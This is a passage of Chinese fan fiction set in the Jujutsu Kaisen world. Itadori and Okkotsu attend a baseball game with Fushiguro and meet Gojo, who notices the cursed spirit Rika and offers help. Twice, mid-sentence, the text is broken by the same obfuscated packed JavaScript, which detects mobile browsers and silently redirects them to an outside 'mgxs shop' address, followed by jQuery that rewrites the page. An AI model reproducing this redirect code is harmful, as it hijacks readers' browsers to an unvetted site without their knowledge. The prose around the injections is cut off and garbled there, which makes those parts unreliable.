虎杖悠仁轻轻搂住扑在自己怀里的身体,学着乙骨忧太安抚自己时的手法轻拍着他的后背。
正是因为乙骨忧太对他“太好了”,好到甚至可以违背自己的心去伤害别人,所以他才会觉得既生气又委屈,在这个世界上最能包容他的人面前肆无忌惮地发着脾气。
“我可不会随随便便轻易死掉,忧太最好记住这一点哦,”虎杖悠仁夸大其词地说,“如果有一天你干了让我非常生气的事,就算变成鬼我也会去找你的。”
乙骨忧太悄悄吸了一下鼻子,没有起身的意思,而是在原地蹭了蹭,小声说道:“......嗯,这个还是不要了吧。”
“因为我觉得你一直在小瞧我。我超生气的。火冒三丈的那种哦!”
“抱歉啦。”
“是认真地在说吗?”
“超级认真的。”
虎杖悠仁轻轻哼了一声,表示自己知道了。
“今天晚上要一起睡吗?”
乙骨忧太沉默了一小会儿,回答道:“......嗯。”
虽然他们的床是上下结构,但身体还未完全长开的两个人睡在同一张床上也不会觉得拥挤,只是夏天贴着虎杖悠仁的话的确会有一些热。夏天运动过头的话,反而更容易中暑,所以虎杖悠仁对这个火热季节又爱又恨。
他们谈论了很多事,从昨天和枷场姐妹一起去吃的料理到最近新推出的电视剧,还提到据说今年毕业的六年级学生的毕业旅行是去参观天文馆,在那里能够用最先进的望远镜看到星星本来的面貌。
“好想泡温泉。”虎杖悠仁突发奇想。如果四年后,等到他们毕业时的集体旅行目的地是东京附近某处温泉的话,跟着学校的人一起去也未尝不可。
“你知道高木同学很想和你搭话吗?”
“和我?没有注意到诶......里香也没有反应。”
虎杖悠仁调整了一下脑袋放在枕头上的角度,比起不怎么在乎其他人的乙骨忧太,他能够从班级里看出来的东西要多得多。比如哪几个女孩子喜欢一起玩,又有哪些孩子不是很受欢迎,哪些人爱干净,哪些人只是看起来很爱干净等等。
以及身上总会沾染诅咒的斋藤。
自那之后他们再没有说过话,哪怕对上视线也会匆匆错开。在学校里碰到曾被他顺手从高年级的混混手中救下来的男孩也是一样,那孩子一点“受欺负”的模样都没有改变,依旧耸肩低头,永远沿着走廊的边缘前行。
这样的人总是占大多数,也许是个性使然,又有社会环境与家庭条件的影响,想让一个放弃自救的人主动抓住伸来的木杆,也许只能等到他们的生命真正受到威胁、不能再用“忍一忍就好了”敷衍过去的时候才会明白求救的意义吧。
“那如果有一天这个世界没有咒灵也没有咒力了,这样的......”虎杖悠仁的话尚未完全说出口,可答案却早已清晰地浮现在他们眼前。
乙骨忧太睁着眼睛,望向近了很多的天花板。多数时候他入睡前仰头看到的是涂满小星星的床垫底部,上铺的视野比他想象得还要开阔一些。
人类......或者说非术师的世界不会有太大的改变。夏油杰原本所在的咒术界,也就是受到咒术总监部监管的咒术师们严格遵守一些守则,他们致力于在暗中祓除诅咒,保护毫不知情的非术师。
咒术师们遵守守则带来的效果非同凡响,可这也透露出非常令人不安的事实。哪怕非术师们不知道咒灵的存在,村子里发生过的事、学校旁的小巷里发生的事依旧存在着,甚至诅咒就是因此而产生的。
“这样的事”才是源头,而诅咒与咒灵正是诞生于此。
虎杖悠仁闭上了嘴巴。明明不想在睡觉前提起这些的,可是说着说着......就好像永远绕不开这个话题似的,命运总会将他们带回最想逃离的拐点。
乙骨忧太摸到了虎杖悠仁的手,在被子里捏着他的掌心:“睡吧,悠仁。”
粉发孩子依言闭上了眼睛。
第二天是周末,乙骨忧太陪着虎杖悠仁去附近的自助存款机查询了账户里的余额。自从他们找到孔时雨之后,每个月从妈妈那里寄来的钱就变成了账户里增加的余额,他们需要的时候就从这里取出来,但虎杖悠仁一次也没有动过。
夏油杰从不吝啬给他们零花钱,教会在他的经营下已经逐渐步入正轨,他们已经彻底不会去礼堂所在的正门了,那里每天都有非术师出入,有的是来和夏油杰商谈投
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378187|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
资之类的事,有的则是慕名来到这里请“教主驱除污秽”,夏油杰收集到的部分咒灵就来自于来到教会寻求帮助的这些非术师们。
在街上随意溜达的时候,虎杖悠仁的目光总会被那些游戏厅吸引。里面红红绿绿的游戏机在昏暗的环境下闪烁着晕开的光,虎杖悠仁盯着那里看了两眼,扭头继续吃着手中的冰激凌。
他们在一家宠物用品店的玻璃橱窗前停留了一小会儿,看穿在狗狗模特上的宠物服装。不论是给谁穿的衣服,虎杖悠仁都更青睐套头帽衫。
走上过街天桥,雨棚下的光会有些发蓝发绿,对面的百货大楼外张贴着巨幅海报,看起来像是某个有名的偶像。虎杖悠仁举起手机给它拍了一张,顺手发给了枷场菜菜子。他记得她们最近很关注这些来着,还说想要去涩谷看表演。
他们常去的电影院外正在更换海报,告示栏上有很多未上映的电影提前发布的预期上映时间以及备受抱怨的延后上映通知。
很不幸,《蚯蚓人2》的延后上映通知就在其中。
“说是因为技术原因......倒也是,虽然第一部的剧情很好,但是蚯蚓人们的制作特效太粗糙了,如果能够做的更加逼真一些会更好看吧。”这么一想,等待似乎也不是一件坏事。
虎杖悠仁已经决定无论等上多久他都会去看《蚯蚓人2》的,这个导演的其他作品也几乎都完全处在他的好球带上。
他的手机铃响了两声,这表示有信件发了过来。
虎杖悠仁还以为是枷场菜菜子的回复,但打开之后却发现发件人是伏黑惠。
“他发了什么?”乙骨忧太喝着饮料侧头看向虎杖悠仁手中的屏幕。
“他说过两天有一场棒球比赛......虽然比赛的两支队伍我都不太认识,但伏黑问我们要去看吗。他有四张票,他会和他的姐姐一起去。”
乙骨忧太没有立刻发表看法。
这一年多的时间里他们和伏黑惠的联系维持在不算频繁,但也不曾中断的状态。大家都在小心翼翼地试探着,虎杖悠仁想要知道他们第一次在埼玉遇见时伏黑惠准备发信息的收件人——那个名叫五条悟的人,而伏黑惠显然想要知道有关他们的一切,比如住在哪里、咒术的知识来源于哪里之类的。
通过短信往来的双方恰好都非常懂分寸,所以在此期间谁也没有透露对方最想知道的问题。
说起五条悟这个名字,乙骨忧太和虎杖悠仁原本并没有特别放在心上,但是随着他们对咒术界了解的深入,尤其是在听说了三大家族之中就有五条这个姓氏之后,这个名字才逐渐被他们重视了起来。
在网络上搜索是没有用的,虎杖悠仁尝试过了。至于主动询问夏油杰......乙骨忧太也试过,但夏油杰的嘴巴比谷歌网络还要吝啬,一点有用的东西都不肯说。但显然他知道这个名字,只是不愿意,不,或者说觉得现在并不是告诉他们的最好时机。
至于擅长摆弄情报、神出鬼没的孔时雨,他们应该在询问夏油杰之前就去问他的,那个男人很明显得到了“某种要求”,对他们三缄其口,仿佛这个名字是某种禁忌一样,不能在教会的地界中被提起。
多方寻求未果之后,孩子们的好奇心已经被激发到了极致。
“要去吗?”
虎杖悠仁征求乙骨忧太的意见。
“我觉得应该没什么问题吧。”他们又不是诅咒师,本身也没有什么值得别人特别在意的地方......除了里香。至于有人可能知道他们与夏油杰之间的关系,那问题应该出自咒灵操使的身上,说不定是有人想找他的麻烦,想要选枷场姐妹和他们作为突破口吧。
直觉告诉虎杖悠仁,伏黑惠应该并不是会将事情搞得这么复杂的那种类型的人。
乙骨忧太说:“而且,难得碰到一个和悠仁同龄的朋友,去看看吧。”
“好诶。”虎杖悠仁说着,在手机中打下了相同的字眼。
伏黑惠收到了回信,他坐在桌子上,津美纪正在准备他们的午饭。女孩出来的时候看到伏黑惠小小地笑了一下,于是温柔地问:“邀请到你的朋友了吗,小惠?”
头发像是海胆一样翘着的孩子收敛了嘴角的笑意,故作严肃地说:“还不是朋友,只是认识的人。”
伏黑津美纪看破不说破,将午饭端了出来。今天是海鲜炒饭,伏黑惠的那份里放了一些姜丝,虽然不是生姜但也能让他欢喜一些。
“是经常和你发邮件的那个孩子?每次看到他的信息你都很开心呢。”
“才没有!我只是......有点好奇而已。”
说来说去,不过是因为同龄、同为咒术师这样的原因才对他投注了更多的视线罢了。伏黑惠放下手机,悄悄瞥了一眼从冰箱里拿出果汁倒给他的津美纪。她看不见咒灵,对这个世界的危险之处一无所知。
家里的座机突然响了起来,还没坐下的伏黑津美纪又匆匆跑了过去接起电话。
“......诶?合宿吗?”伏黑津美纪捂住电话听筒,回头看了一眼伏黑惠,又和电话那头的人商量了很久。
49. 第 49 章
约定的日子上午十点,在东京都文京区的棒球场外汇合的时候——
“诶......嗯......”虎杖悠仁吃惊地瞪大眼睛,吸着气说:“伏黑,这位就是你......姐姐?”
个子好高,而且这家伙怎么看也和“姐姐”搭不上边吧?!乙骨忧太拽住虎杖悠仁的手腕下意识地将他留在自己身边,但还是被主动凑过来的高大白发男性吓得向后退了两步。
“嗯嗯,不是姐姐哦,但是可以叫哥哥、啊不对,”五条悟托起墨镜,露出自己的眼睛,“现在开始可以叫我五条老师了哦!惠也改口吧,反正以后上了高专都要这么叫的,提前适应一下也不错。”
伏黑惠横插进他们之间,将明显被吓了一跳的虎杖悠仁和乙骨忧太从五条悟身前隔开,非常正式地鞠躬,少年老成地道歉道:“总而言之,因为甩不掉所以就只能这样让他跟着过来了,给你们添......”
乙骨忧太捕捉到了这个人的自我称呼,他自称是五条,难道是五条悟?
他们认知中姓五条的就只有这一个人名,自然很容易就能将之联系在一起,也算是误打误撞,从家族结构庞杂的五条家里挑出了最耀眼的那一个。
虎杖悠仁已经扯过伏黑惠贴在他耳边说悄悄话,一边说还一边瞄向五条悟,好像他们三个才是一伙的似的:“这个人怎么回事啊?头发是染色的?少白头?眼睛超级漂亮的啊!”
五条悟的注意力全然集中在他自己最好奇的乙骨忧太身上。
六眼告诉了他自己好奇的问题的答案。
“特级过咒怨灵。”这几个字从他的口中传出,引得乙骨忧太眉眼间的神情犀利起来,脚下的影子也开始蠢蠢欲动。
五条悟轻声哼笑了一下,瞬间扬起头,让墨镜回落到鼻梁上,摊手主动后撤。不知道何时笼罩在乙骨忧太身上的威慑也尽数消退,让他有了终于能够松一口气的错觉。
“算了算了,让它在这里跑出来会很麻烦,”五条悟大大咧咧地说,指使伏黑惠去给他买爆米花和可乐,“难得的假期,我可不想给校长写检讨。”
被苍蓝色的眼睛注视着的时候,乙骨忧太其实并没有意识到自己正在承受什么样的压力。大概是一瞬间身体紧绷,直接被迫进入了应战的状态,对里香的压制也松懈了很多。现在五条悟随意的举动反倒让乙骨忧太背后冷汗直流,一口气要吐不吐,感受着心脏狂跳的余韵。
只是看了一眼,就看穿了里香的存在?
五条悟浑身上下总有一种“我超强”的氛围,只是站在这里就让人移不开眼睛。
“......”虎杖悠仁不知何时走回了乙骨忧太的身边,扯扯他的衣袖:“有人在看着这边。”
乙骨忧太对咒力的侦查依旧非常迟钝,听到虎杖悠仁的话之后才勉强找到了人群中区别于非术师的咒力集合。
“你这小家伙也挺敏锐的嘛,介意让我看看术式吗?”五条悟直接上手在虎杖悠仁慌张躲开之前摸到了那一头粉色的头发,那孩子几乎是跳着从他的手底下蹿了出去,躲在了乙骨忧太的身后,龇牙咧嘴地吓唬他。
“那个估计是妄想发大财的诅咒师吧,不用管他,真是没点自知之明。”五条悟的脸上看不出丝毫“被讨厌了的”窘迫,云淡风轻地说道。
买回两桶爆米花和四杯可乐的伏黑惠将五条悟点的东西塞进了他的怀里:“五条先生,你明明保证不会吓到他们的,请不要随便让别人感到困扰。”
不知道白发的咒术师有没有听进去,反正现在他已经把虎杖悠仁惹毛了。
惹到炸毛。
刚才头上的触感怪怪的,再加上实在是被五条悟这么自来熟地上手吓了一跳,所以虎杖悠仁的反应有些激烈。
伏黑惠拿着剩下的一桶爆米花,乙骨忧太接过了属于他和虎杖悠仁的两杯饮料:“多谢你,伏黑同学。”
“啊热死了——惠,我们的座位在哪个区?”
伏黑惠的额角蹦出一个十字:“票不是被你抢走了吗?!请你好好看看手里的门票!!”
五条悟从兜里掏出他们的门票。他的确用了一点“威逼利诱”让伏黑惠“同意”他跟着一起来,毕竟伏黑津美纪临时和学校合唱团出去合宿了嘛,临走时因为不放心伏黑惠独自一个人去文京区所以将这件事告诉了五条悟。
他迈着大长腿走在前面,三个孩子落在后面一点的地方嘀嘀咕咕地说着话。
原本虎杖悠仁和伏黑惠并没有熟悉到可以凑得这么近说悄悄话的程度,可是五条悟的存在居然极快地拉近了他们之间的距离,这真是神奇又令人百思不得其解的现象。
“你们不知道?我还以为只要对咒术界有点了解的人都会知道他的大名。”伏黑惠暗戳戳地套着话,但虎杖悠仁足够天然,也足够敏锐。
“他很有名?为什么?”
虎杖悠仁和乙骨忧太从伏黑惠口中完整地听到了承担起咒术界“最强”之名的人究竟有什么样的能力。
【无下限咒术】与六眼,绝对不可侵犯的空间与吸引、排斥之力组合而成的绝对力量,以及被称为咒术战顶点的领域展开——
“就这样告诉我们真的好吗?毕竟伏黑你还不知道我们的事吧?”虎杖悠仁打断了伏黑惠,再次向他确认道。
“这全都包含在我所说的‘对咒术界有些了解的人就应该知道的内容’里面了,再说了也就是一些招式的名字而已,你能喊着螺旋丸然后真的就用出来了吗?”
“哦!超有道理!”
五条悟一边找座位一边竖起耳朵留意身后孩子们的谈话。这群家伙真的只是小学生吗?不过现在他们已经开始讨论起卍解和恶魔果实了,果然还是小学生啊。
“是什么时候的事?”他主动向乙骨忧太搭话。
这孩子的发型和惠有点像,但头发没有自家小孩那么翘。乙骨忧太有些疑惑地问:“是指什么?”
五条悟指了指乙骨忧太脚下的影子,但他们都知道他说的并非“影子”,而是藏在影子里的里香。
“......”
看着乙骨忧太仍有些戒备的样子,五条悟耸肩表示理解。他......他知道不想被拯救的人是什么样子的,也大概明白想要被拯救却自我束缚、无法发出求救声音的人究竟是何种模样。
这两个孩子应该不是在无人教导的情况下迈入咒术界,不管是咒力操作还是做出判断时的眼神都刻着别人的影子。乙骨和虎杖......这两个姓氏并不属于咒术世家,难道家里有人是诅咒师?
被过咒怨灵诅咒的乙骨忧太看起来已经能够完全控制自己身上的力量,另一个孩子......至少身体很壮实?
“别紧张啊,”五条悟通过夸张的肢体动作表示自己此时没有恶意,让乙骨忧太放松一些,“就当作是聊天吧,随便说点什么都好。你们住在一起吗?”
简直更可疑了,乙骨忧太暗自腹诽。此时他们已经找到了各自的座位,是连在一起的四个空座,五条悟径直坐在了最边上,伏黑惠瞥了他一眼,走到了另一边坐下,将中间的两个座位留给了乙骨忧太和虎杖悠仁。
乙骨忧太悄悄松了一口气,虎杖悠仁神色不变,坐在了他的旁边。
五条悟摸着下巴。
“你们关系真好。”
这次乙骨忧太终于回答了他:“嗯......因为我们是家人。”
“平时很辛苦吗?能看见咒灵、能使用咒力之类的?”
辛苦,什么样的生活算是辛苦呢?他们不用为最基本的生活保障发愁,而且还有成熟的术师教导他们如何变强。要论辛苦的话,大概只有他们怎么也想不明白的问题总会困扰着他们,挤走美梦吧?
所以乙骨忧太摇了摇头。
五条悟翘起腿,他身材又高又瘦,两排座位之间的空隙对他来说显然有点施展不开,只能将腿缩起一些,看起来竟然有些委委屈屈的感觉。
“那就是很辛苦了。”五条悟得出了结论,无视了乙骨忧太的摇头。今年三月他刚刚从高专卒业,和夜蛾正道谈过之后决定留校任教,那时他们也谈到了高专最重要的生源问题。
除了来自咒术世家通过家系入学的孩子们,每年都有一两个招募入学的人。他们大多数被“窗”发现了拥有咒力甚至已经可以使用术式,为了防止他们在独自面对错位世界的过程中堕入黑暗,成为为了生计或钱财而去诅咒他人的诅咒师,高专会招募这些适龄的学生来系统地学习咒术,将他们拉回正轨。
五条悟知道被招募的孩子在被“窗”发现之前过得都是怎样的生活,如果有人想要和他聊聊那些孩子们的心理问题,他也有足够的故事和经验可以用来佐证。
乙骨忧太因为这句过于笃定的话而扯了一下嘴角,将它们向两侧平直地拉开。
“......大概是五、六岁的时候。”
他没头没尾地说了一句。
周围的人声变得嘈杂起来,因为这里是完全的室内棒球场,在开赛前的氛围还算轻松,也没有室外棒球场被暴晒的炙热。五条悟双手抱头,向后靠在椅背上:“觉得辛苦的时候就要说出来啊,这可是小孩子的特权,不然的话大人怎么可能知道你们需要帮助呢?”
“因为,”现场的气氛变得热烈了一些,开赛前固定的流程被逐一拉到舞台上,乙骨忧太注视着前方,眼神却没有聚焦在那里,“不知道会不会得到回应,不知道会得到什么样的回应。”
所以渐渐地就不再说了。
“真是没用的大人啊!”五条悟强烈地谴责这些不负责任的大人。
乙骨忧太小小地缩了一下脖子,觉得五条悟本人有一种和他的名号不相符的气质,硬要说的话......感觉他在某些方面能和悠仁聊得很好吧?
一张名片伸到了他的眼前,顺着手指向上看,印着五条悟帅照的卡片上写着电话号码和一个地址。五条悟将手指一搓,下面又露出另外一张装饰不同的名片。下面这张的照片看起来更严肃,也更正式一些,同样的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378188|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
电话,但地址不太一样了。
“这个是?”
“名片喽,”五条悟直接将两张名片塞到了犹豫着要不要接的乙骨忧太手中,有点嬉皮笑脸地说,“我还没到法定成年的年纪,虽说已经举办过元服礼啦,但那不是重点,别把我看做扫兴的大人,有事情的话可以随时给我打电话。”
乙骨忧太小声说了一句谢谢。
“东京都立咒术高等专门学校?”放在下面的那张名片上的地址大概就是这个学校的具体位置,在筵山附近。
他抬起头,五条悟第一次看见他将眼睛睁得这么大:“原来你真的是老师吗?”
“是超级教师五条哦!”白发的咒术师在脸颊旁边比了一个耶。
乙骨忧太脸上的神情在“真的吗”、“看起来不太靠谱”、“有问题?没问题?”之间来回摇摆,最后顶着复杂的表情将名片收了起来。
随着防空警报广播声的响起,场内的比赛终于正式开始了。周围的声音骤然变得嘈杂起来,各队的粉丝为自己的主队加油助威的呐喊声几乎要盖过所有其他的声音。
乙骨忧太在这样热闹的场景中显得有些手足无措,他似乎很不适应被这么多人围在中间,前后左右的看台全都坐满了观众,靠近球场的前排还有人站起来跑到围栏旁大声为球员加油。
在人声涌动的浪潮中,虎杖悠仁自然而然地停下了和伏黑惠的交谈,转而关注着乙骨忧太的情况。
“忧太,呼吸,呼——吸——”他抚着黑发孩子的后背,提示他缓解因为周围环境带来的紧张和焦虑。
乙骨忧太闭上眼睛垂头,跟着虎杖悠仁的节奏慢慢调整着自己略显急促的呼吸,渐渐平稳了下来。
“他一直都这样吗?”伏黑惠问道。
虎杖悠仁只得抽出一部分精力来回答他的问题:“因为里香,忧太不太喜欢人多的地方......这场比赛也太受欢迎了吧!”
几乎所有对外出售的座位全都被坐满了啊。
乙骨忧太不喜欢人多又嘈杂的地方,这总会让他联想到被村子里的人围堵在院门口的事情,逃入森林前他的耳鸣就像耳朵里住着一个小人在耳道里尖叫,几乎令他听不见任何声音。
在虎杖悠仁的安抚下,他终于觉得好受了一些。
“最近已经很久没有这样了,”虎杖悠仁皱眉,“还好吗忧太?”
乙骨忧太的手臂紧贴着他,点点头。
声音逐渐回拢,乙骨忧太听见身旁的五条悟在和虎杖悠仁说着什么:“......受伤?没有的话,那就应该是这样的场景会让他想到一些不好的事。你们最近待的地方人很少吧?至少不会有这样成百上千人聚集在一个场馆里的情况......循序渐进是对的,尽管我想说粗暴疗法也不错,但你们还是小鬼,慢慢来就好。”
“......学校?那里是......高中生才能去吗?我们老师说等到初中或者高中会开始学习生物或者物理之类的科目,还需要考试才能继续升学,去那里的话也要考试吗?”
乙骨忧太抓住了虎杖悠仁的手臂,让一直在说个不停的粉发孩子闭上了嘴巴。
“......问问而已嘛。”他小声嘀咕着,然后歪着身子去看乙骨忧太有没有好一些。
那之后没有人再提和球赛无关的事情,三个孩子对棒球比赛的规则知之甚少,所以五条悟承担起了讲解的任务,权当是他正式开始成为教师之前的演练了。
他口才很好......不是褒义也不是贬义。至少他能够滔滔不绝地用全新的知识填满孩子们的耳朵,但是中间有没有漏掉的东西就不得而知了,可能得等到他们亲自上手按照五条悟的讲解去体验棒球比赛的时候才会发现这个人在哪些地方漏讲了什么内容吧。
伏黑惠深谙此人的德行,但不得不承认五条悟讲出来的东西从未出错。棒球也好,咒术也罢,他告诉他们的内容哪怕现在听不太明白,可随着比赛的进行,孩子们逐渐理解了那些复杂的规则。
“喔!是全垒打!!是这个吧?!”
“BINGO!悠仁同学抢答正确!那么继续提问!这是几分全垒打?”
“二分!!”
“答对啦!”
乙骨忧太被五条悟和虎杖悠仁夹在中间,只剩下了微笑的力气。他果然没说错,这两个人在某些方面超级同频的。
场馆里的温度随着比赛进入到白热化阶段而不断升高,虎杖悠仁很快就有点坐不住了,一个劲儿地往乙骨忧太身上靠,汲取他身上的凉意。
等到比赛结束,粉发的孩子也彻底没了力气,只能幽怨地用眼神示意他现在急需要什么东西来填饱肚子。
五条悟戳弄了一会儿自己的手机,然后露出了有点兴奋的笑容:“我们去这家吃饭吧!老师我请客哦!”
伏黑惠一眼就看穿了他是因为这家套餐里送的甜品才想要去吃的,不过好歹没有说要带着他们直接去甜品店。
“好诶!”虎杖悠仁堂堂复活!
50. 第 50 章
“‘最强’是什么意思?”虎杖悠仁单刀直入地问。
他们正在等待餐食送上来,五条悟有些无聊地摆弄着桌上的亚克力广告牌,闻言拖长声音“诶”了一声。
虎杖悠仁问得很认真:“是因为没有人能够打败你吗?”
五条悟咧嘴一笑:“当然了,这是最基本的吧?”
继续问下去倒是会显得他有些不依不饶,就好像是一个没什么本事的外行人一直在质疑一个领域内最专业的权威人士一样。
但是虎杖悠仁没有这个自觉,不知从何继承而来的好奇心驱使他继续问了下去:“但是五条先生你又没有和世界上所有人打过架,怎么能确定自己就是世界最强的呢?”
五条悟打了一个响指:“问得好。”
其实伏黑惠和乙骨忧太也很好奇这个问题。就像如果没有吃遍全天下所有的糖,凭什么可以断定自己嘴里的这一颗就是最甜的呢?
“术式、咒力量、咒力操作、体术、顺转与反转、领域,”五条悟微微歪过头,他的墨镜向下滑落了一些,露出那双摄人的眼睛,“评判一个术师的水准大致是通过这些条件,但是你们难道从来没有体会过一种感觉吗?”
与澄澈的蓝天同色的眼睛扫过在场的所有人。尽管还不知道乙骨忧太和虎杖悠仁的术式,但这并不重要。
“当咒力从自己体内迸发的那一刹那,当它们流进身体、顺着经络的方向延伸直至覆盖全身,当刻印在大脑中的术式被激活的瞬间,”五条悟伸手握拳,然后猛地将拳头张开,“就像烟火大会上炸开的烟花一样,那个时候会有一种‘啊,这个时候的老子绝对是最强的’的感觉,对我来说——”
他的笑意骤然扩大,虎杖悠仁瞪大双眼,看着他脸上狂妄自大的笑容:“——一直都有这样的感觉。”
发现孩子们都被他嚣张的话镇得无话可说,五条悟丝毫不觉得不好意思,而是继续说道:“对咒术师而言,这样的感觉可是很重要的哦。毕竟每个人死的时候都是孤身一人,在生死关头比起祈求有人能够来救自己,还不如选择自救,而这个时候除了相信自己以外也没有其他选择了吧?”
咒术师的成长并非稳步上升,而是在某一刹那产生质变,由此步入全新的层次——比如领悟生成正极能量的方法,甚至领悟领域展开。
虎杖悠仁有些愣愣地问:“那你输过吗?”
出人意料的,五条悟沉吟了一小会儿,随后露出了与刚才全然自信的表情一点也不一样的笑容:“输过,也被人丢下过。”
乙骨忧太几乎已经能够想象到五条悟下一句会说什么,可是恰在此时送上的饭菜打断了他们的交谈,方才笼罩在桌子周围令人感到略微窒息的空气被食物的香气一扫而空,虎杖悠仁最先被摆在眼前的猪扒饭勾走了心神。
“好了,大家赶快吃饭吧!”五条悟拍板,终止了这场针对“最强”的快问快答,接下来就是独属于美食的时间!他率先将手伸向了本应最后品尝的甜点,也是他今天最期待的东西。
“啊,”伏黑惠从姜汁烧肉中抬起头来,突然说道,“说起来,在埼玉的那个甜品,最后一枚贴纸还是虎杖送给我的。”
“诶?那我们的缘分还真是奇妙啊,悠仁同学!老师期待未来你能成为我的学生哦~顺带一提,上次的甜品味道还不错哦。”
伏黑惠还在担心要是五条悟顺嘴说那个抹茶蛋糕味道很普通怎么办,但显然比他们大上一轮的白发咒术师不会干这种没品的事。
虎杖悠仁在心里算了一下。等到他们可以升到高中的时候至少是六七年以后的事了,对他来说已经算是很长很长的时间,毕竟他现在也只活了六年嘛。
“不论什么问题都可以向你请教吗?”乙骨忧太问。
五条悟冲他竖起大拇指,给出了肯定的答复。
这样的话,里香的事......乙骨忧太的筷子搅起面条,下意识地看向虎杖悠仁的方向,却不经意间和粉发的孩子对上了视线。
乙骨忧太曾见过他这副表情,在暴风雨夜后的那几周,他们每次见面的时候、都......于是他将未说出口的话和蘸面一起嚼烂磨碎,吞到了肚子里。
快乐的时光对他们来说总像是一场美梦,偶尔沉溺于其中,可一旦触及到梦的边缘,总会清醒地意识到总有一天会醒来。在明白这一点的刹那,那种宛如从水中站起身后体会到的沉重感就会笼罩在心头,带来淋漓不尽的失落与空虚。
所幸五条悟似乎没有察觉到乙骨忧太和虎杖悠仁的异样。他们一起吃完了美味的食物,在站台分别,临走时还能看见勾起嘴角笑着的五条悟和伏黑惠向他们挥手告别。
随着车窗外的景色开始飞速后退,虎杖悠仁终于将头扭了回来。
“......”
乙骨忧太依旧望向窗外,似乎在观察着周围的街道和天空。
他们谁都没有说话,虎杖悠仁沉默地拉住了乙骨忧太的手,这是他心中感到不安时才会做出的寻求安慰的动作。
乙骨忧太回握住了他。
留在站台上的伏黑惠跟着五条悟走向了另一侧等车,他扯着津美纪给他缝制的书包背带,抬头看了两眼没有继续笑着、冷脸时有点唬人的五条悟:“我还以为你会问一些其他的问题。”
五条悟从自己的沉思中回过神来,习以为常地伸手去搓伏黑惠的头发,却被小孩机敏地躲掉了。他看着落空的手,轻笑了两声,收了回去:“你们都聪明过头了啊。”
伏黑惠转头不再看他,盯着站台标志牌上的经停站名字,挨个看了过去。
“惠会觉得寂寞吗?”
伏黑惠又把头转向五条悟。今天是他见过白发咒术师露出最多表情的一次,每一个都那么生动,又让人感觉很沉重。
他摇了摇头。
闷笑的声音从五条悟胸口附近传了出来,他简直乐不可支,因为笑个不停所以只能用一只手扶住在鼻梁上颠簸的墨镜。
简直一模一样嘛,连摇头的幅度都差不多。
“所以我才说,觉得辛苦就要说出来嘛。”
“......不说出来的话,我怎么能知道你究竟承受着怎样的痛苦呢?”
他的话消失在了列车驶来时刮起的疾风中,被撞得粉碎。
似乎并没有人知晓今天发生在东京文京区的会面,虎杖悠仁和伏黑惠之间的联系仍在继续。
伏黑惠很了解五条悟的工作,不是指他作为教师的那一面,而是指他作为一个咒术师。因为从很早开始五条悟就会偶尔带着伏黑惠一起出任务,所以对于由咒术总监部制定的咒术师们必须遵守的守则、辅助监督以及“窗”的存在、任务的分级或者咒术师的等级之类的内容可以说了如指掌。
透过伏黑惠,虎杖悠仁和乙骨忧太对“咒术界”有了更多的了解。通常他们把他们生活的、区别于非术师们的世界称作咒术界,但伏黑惠口中咒术界的定义更狭窄一些,指的是由咒术总监部统领的、不包含诅咒师的、以祓除诅咒守护非术师为信条而存在的咒术师们组成的世界。
“听起来更像是某种暗中守护世界的组织,”虎杖悠仁跨坐在乙骨忧太的椅子上,双脚点地快速转着圈,“好酷。”
他自己的椅子在转圈的时候总会卡壳,所以他有的时候会霸占乙骨忧太的凳子玩。
乙骨忧太手里拿着一根铅笔,他在练习将咒力和诅咒注入到这根铅笔中去。因为他身上背负着里香的诅咒,所以除了自身拥有的咒力之外,还会有一种来自里香的、不怎么容易受他控制诅咒之力,在夏油杰的提示下他才发现这两种一直被他混为一谈的力量之间的区别。
但是因为很难分开使用,也没有什么特别的效果,所以全部当做自己的咒力也是可行的。
“你在听吗,忧太?”
“在听哦。”
虎杖悠仁抱着椅背,又说了一次:“好酷。”
乙骨忧太终于放下了那支笔,温和地回应:“好像是暗夜英雄的那种感觉?”
“......如果诅咒与咒灵是从人类诞生起就存在了的话,咒术师们至少在暗中保护人类上千年?这可真是好长好长的时间呐。他们不会觉得累吗?”
“也许会有成就感之类的信念吧。”
虎杖悠仁继续转动着圆凳,连接处有若隐若现的嘎吱声,但运转依旧很顺滑,没有任何阻碍。
他转了两圈之后,让自己面对着乙骨忧太停了下来:“但是我觉得这样好像没有用。”
就像一个病入膏肓的人,如果不彻底根治顽疾,只是根据表面的症状对症下药,病情也只会反复无常、直到身体被彻底拖垮。
“伏黑不是说他们出任务的时候总会出现人手不足的情况吗?连他那样的小孩子也要被拉走去工作。”虽然伏黑惠的本意只是想要邀请虎杖悠仁和乙骨忧太脱离“诅咒师的世界”,但歪打正着,将咒术界人手不足的现状展现在了他们的眼前。
乙骨忧太想了想:“我们第一次碰到他的时候,他是不是也要去祓除咒灵来着?”
“是吧......”虎杖悠仁从凳子上下来,躺倒在了乙骨忧太的床上,长长叹了一口气。这世上就没有两全其美的方法吗?随着年岁的增长,他渐渐发现“完美”的东西只会存在于他的理想中。
就像不存在绝对的正确一样。
学会取舍和接受不完美似乎是成长必须接受的代价,孩子们不可避免地被迫适应着与自己想象中不同的大人的世界,因为时间是永远不会停下来的。
无论他们怎样怀念从前的时光,过去都已经变成了过去。
